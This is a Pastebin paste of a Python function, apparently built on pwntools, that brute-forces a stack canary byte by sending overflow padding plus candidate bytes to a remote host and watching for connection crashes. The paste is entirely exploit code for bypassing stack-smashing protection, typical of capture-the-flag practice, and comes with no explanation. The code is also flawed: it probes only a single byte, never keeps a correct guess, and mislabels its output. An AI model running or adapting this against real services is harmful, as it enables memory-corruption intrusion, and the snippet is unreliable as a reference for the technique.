Advertisement
Guest User

Untitled

a guest
Mar 31st, 2020
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.58 KB | None | 0 0
  1. # bruteforce canary values
  2. def brute_force_canary(host, port, overflow_len):
  3.     junk = "A" * (overflow_len - 1)
  4.     buffer = junk
  5.     for b in range(0, 256):
  6.         test_byte = struct.pack("B", b)
  7.         test_buf = junk + test_byte
  8.         print(test_buf)
  9.         # open process and test buffer
  10.         p = remote(host, port)
  11.         p.recvline(timeout=1)
  12.         try:
  13.             p.send(test_buf)
  14.             rec = p.recvline(timeout=1)
  15.             print("Canary #{0}: {1}".format(1, b))
  16.         except EOFError:
  17.             print("Tested: {0}".format(b))
  18.             continue
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement